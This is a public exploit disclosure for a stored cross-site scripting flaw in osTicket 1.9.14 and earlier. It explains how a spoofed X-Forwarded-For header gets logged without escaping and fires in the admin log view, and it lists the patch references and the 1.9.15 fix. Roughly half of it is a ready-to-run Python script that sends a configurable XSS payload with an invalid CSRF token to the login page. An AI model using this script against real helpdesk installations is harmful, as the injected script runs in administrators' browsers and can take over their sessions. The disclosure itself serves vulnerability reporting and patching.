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体验盒子# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS.
# Date: 24-11-2016
# Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ]
# Software Link: http://osticket.com/
# Vendor: Osticket
"""
==============
DESCRIPTION
==============
**osTicket** is a widely-used open source support ticket system. It seamlessly
integrates inquiries created via email, phone and web-based forms into a
simple easy-to-use multi-user web interface. Manage, organize and archive
all your support requests and responses in one place while providing your
customers with accountability and responsiveness they deserve.
(copy of Osticket - README.md)
=======================
VULNERABILITY DETAILS
=======================
file `osticket/upload/bootstrap.php` contains this
snippet of code (line 337-340):
...
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
// Take the left-most item for X-Forwarded-For
$_SERVER['REMOTE_ADDR'] = trim(array_pop(
explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));
....
The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,
at this point, it is not a vulnerability but...
file `osticket/upload/include/class.osticket.php` line 309-315 :
...
//Save log based on system log level settings.
$sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '
.',title='.db_input(Format::sanitize($title, true))
.',log_type='.db_input($loglevel[$level])
.',log='.db_input(Format::sanitize($message, false))
.',ip_address='.db_input($_SERVER['REMOTE_ADDR']);
db_query($sql, false);
....
Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`),
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.
Finally the XSS is triggered when a user who can see the system logs like an administrator, visits
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.
The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`
line 142...
...
<td><?php echo $row['ip_address']; ?></td>
...
So...
An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.
================
DEMONSTRATION
================
Demo video: https://www.youtube.com/watch?v=lx_WlL89F70
The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket.
================
REFERENCES
================
https://github.com/osTicket/osTicket/releases
https://github.com/osTicket/osTicket/releases/tag/v1.9.15
X-Forwarded-For XSS:
https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631
heldeskt name/tile XSS:
https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37
================
MITIGATIONS
================
update to version 1.9.15 or later
================
CREDITS
================
Vulnerability discovered by Joaquin Ramirez Martinez
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos
https://twitter.com/rammarj
================
TIMELINE
================
13-07-2016 - Vulnerability found
19-09-2016 - Osticket knew the flaws
01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released)
24-11-2016 - Public disclosure.
"""
import urllib
import urllib2
from optparse import OptionParser
options = OptionParser(usage='python %prog [options]', description='Stored XSS')
options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost')
options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /')
options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>'
, help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"')
banner = """
======================================================
OSTICKET
"The most popular ticketing system in the world"
Stored XSS
by i0-sec (Joaquin R. M.)
======================================================
"""
def main():
opts,args = options.parse_args()
print(banner)
server = opts.target
path = opts.path
body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""})
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload}
url = server+path+"/scp/login.php" #default login interface URI for OSTICKET
print('[+] Connecting to '+server+path)
req = urllib2.Request(url, body, headers)
try:
print('[+] Sending payload... ')
response = urllib2.urlopen(req)
html = response.read()
except Exception, e:
pass
print '[+] Payload sent.'
print '[+] Completed.\n'
if __name__ == '__main__':
main()
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